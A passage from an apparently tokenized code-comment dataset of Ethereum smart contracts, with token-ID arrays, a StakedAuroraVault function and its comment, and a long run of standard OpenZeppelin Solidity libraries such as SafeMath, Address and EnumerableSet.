Dpass(token_).getCustodian(amtOrId_));
Dpass(token_).setState("valid", amtOrId_);
require(false, "asm-unsupported-tx");
} else {
} else {
}
| 13,090,890 |
[
1,
19132,
3310,
11803,
358,
506,
18791,
2973,
279,
1147,
67,
7412,
18,
971,
2619,
4102,
336,
3613,
12910,
2045,
1235,
2724,
434,
7412,
518,
903,
506,
15226,
329,
18,
225,
1147,
67,
1758,
326,
1147,
67,
716,
711,
2118,
3271,
4982,
2492,
225,
1705,
67,
1758,
326,
1084,
1758,
326,
1147,
67,
711,
2118,
3271,
628,
225,
3046,
67,
1758,
326,
2929,
1758,
326,
1147,
67,
711,
2118,
3271,
358,
225,
25123,
1162,
548,
67,
2254,
326,
3844,
434,
2430,
3271,
309,
1147,
67,
353,
279,
463,
882,
969,
578,
326,
612,
434,
1147,
67,
309,
1147,
67,
353,
279,
463,
5466,
1147,
27799,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
262,
3903,
1661,
426,
8230,
970,
1357,
288,
203,
3639,
2254,
11013,
31,
203,
3639,
1758,
276,
641,
369,
2779,
31,
203,
3639,
2254,
30143,
5147,
67,
31,
203,
203,
3639,
2583,
12,
203,
5411,
302,
5466,
281,
63,
2316,
67,
65,
747,
7976,
2143,
63,
2316,
67,
65,
747,
8843,
5157,
63,
2316,
67,
6487,
203,
5411,
315,
23522,
17,
5387,
17,
2316,
8863,
203,
203,
3639,
2583,
12,
203,
5411,
401,
72,
5466,
281,
63,
2316,
67,
65,
747,
463,
5466,
12,
2316,
67,
2934,
588,
1119,
12,
301,
88,
1162,
548,
67,
13,
422,
315,
87,
5349,
3113,
203,
5411,
315,
23522,
17,
496,
74,
17,
2316,
17,
2019,
17,
902,
17,
87,
5349,
8863,
203,
203,
5411,
276,
641,
369,
2779,
273,
463,
5466,
12,
2316,
67,
2934,
588,
39,
641,
369,
2779,
12,
301,
88,
1162,
548,
67,
1769,
203,
203,
5411,
389,
2725,
13535,
2045,
287,
40,
5466,
12,
203,
7734,
374,
16,
203,
7734,
1026,
5147,
63,
2316,
67,
6362,
301,
88,
1162,
548,
67,
6487,
203,
7734,
276,
641,
369,
2779,
1769,
203,
203,
5411,
30143,
5147,
67,
273,
30645,
14521,
301,
1434,
11688,
1463,
81,
12,
561,
2934,
70,
9835,
5147,
12,
2316,
67,
16,
1758,
12,
2211,
3631,
25123,
1162,
548,
67,
1769,
203,
203,
5411,
302,
5466,
55,
1673,
39,
641,
58,
63,
71,
641,
369,
2779,
65,
273,
527,
12,
203,
7734,
302,
5466,
55,
1673,
39,
641,
58,
63,
71,
641,
369,
2779,
6487,
203,
7734,
30143,
5147,
67,
405,
2
] |
./full_match/1313161554/0x8A7feB26ee5b202804AC11Dd5a739A945C5De11d/sources/contracts/StakedAuroraVault.sol
|
@notice The total assets are the sum of the balance from all Depositors.
|
function totalAssets() public view override returns (uint256) {
return IStakingManager(stakingManager).totalAssets();
}
| 13,234,729 |
[
1,
1986,
2078,
7176,
854,
326,
2142,
434,
326,
11013,
628,
777,
4019,
538,
13704,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2078,
10726,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
467,
510,
6159,
1318,
12,
334,
6159,
1318,
2934,
4963,
10726,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1;
// All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
